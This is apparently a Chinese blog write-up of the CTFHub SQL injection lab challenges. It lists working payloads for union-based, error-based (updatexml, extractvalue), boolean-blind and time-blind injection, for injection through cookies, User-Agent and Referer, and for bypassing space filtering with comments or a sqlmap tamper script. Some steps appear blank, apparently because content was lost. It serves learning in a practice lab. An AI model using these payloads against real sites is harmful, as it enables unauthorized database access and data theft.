zoukankan      html  css  js  c++  java
  • CTFHUB-技能树-Web-SQL注入

    整数型

    已经说了是整数型注入了,就直接开始吧

    1 order by 1/2/3,当为3时返回页面不一样,所以字段有两个

    爆数据库 -1 union select 1,database() ##注:这里用-1是为了‘腾位子’给后面的联合查询

    爆表名 -1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

    爆列名 -1 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'

    爆字段 -1 union select 1,group_concat(flag)from flag

    字符型

    爆字段数1' order by 1/2/3 #爆出来依旧是2个

    爆数据库

    爆表名

    爆列名

    爆字段名

    报错注入

    一、updatexml(三个参数):updatexml的报错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据

    格式:1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));中间的select语句参考上面的整数或字符型注入

    这里显示不了完整的flag,所以要拼接一下:1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1)); 注:mid换成right还差一个反大括号

    二、extractvalue(两个参数):原理是和updatexml一样的,只是参数数量不同

    格式:1 and/or extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))

    同样需要拼接,参考上面

    布尔盲注

    原理就是根据字符的ASCII对比,爆出flag的所有字符,手工注入不是人干的事啊

    比较出database的长度

    然后逐个比较出每个字符的ascii值(列举一个)

    。。。(省略)

    然后就是表数

    表名

    列数

    列名

    flag

    这里还是用sqlmap跑一下,手工注入旨在理解原理,sqlmap可以提高效率

    sqlmap使用的时候如果第一次没跑出来可以多试几次,有可能是题目服务器的问题

    爆数据库

    爆表名

    爆列名

    爆flag字段

    时间盲注

    原理就是跟据页面返回的时间来判断命令的执行结果

    格式:1 and if(payload,sleep(3),1),如果payload执行成功则暂停3秒,否则直接执行,也就是说如果执行成功回显页面会很慢,反之就直接回显页面

    payload参数参考上面的布尔盲注

    然后同样用sqlmap做,命令和上面的一样,这里再贴上一个大佬的脚本https://www.cnblogs.com/anweilx/p/12485726.html

    Cookie注入
    原理和整数型注入是一样的,两种方法,一是可以直接F12修改cookie值,二是抓包修改重发

    UA注入
    emm,注入点是User-Agent,其余同上,直接抓包重发

    Refer注入
    注入点是referer,其余同上

    过滤空格
    先试一下带空格的,发现被过滤

    绕过姿势,用/**/替换空格////补充:information_schema被过滤可以用sys.x$schema_flattened_keys替换
    其余同整数型注入
    这里再提一下用sql注入这类过滤某字符的用法,正常用是注不了的,所以就需要一下tamper.py里面的脚本,其实就是替换字符,注意这个是下载sqlmap包里就有的
    在原本的sqlmap的命令后面加上 --tamper "space2comment.py(脚本名)"即可

    参考自https://www.cnblogs.com/mark0/p/12349551.html

    更改等级可以看到payload!!记录一下

    参考:https://blog.csdn.net/whatday/article/details/54774043

  • 相关阅读:
    android视频录制
    UIWebView 缓存
    (Detected problems with API compatibility(visit g.co/dev/appcompat for more info)
    二、为什么要安装jdk?
    一、java为什么叫java?
    jstl标签
    J2EE(八)——myeclipse开发servlet
    J2EE(七)——myeclipse开发servlet
    J2EE(六)——servlet生命周期
    J2EE(五)——servlet初识
  • 原文地址:https://www.cnblogs.com/Web-Fresher/p/13723284.html
Copyright © 2011-2022 走看看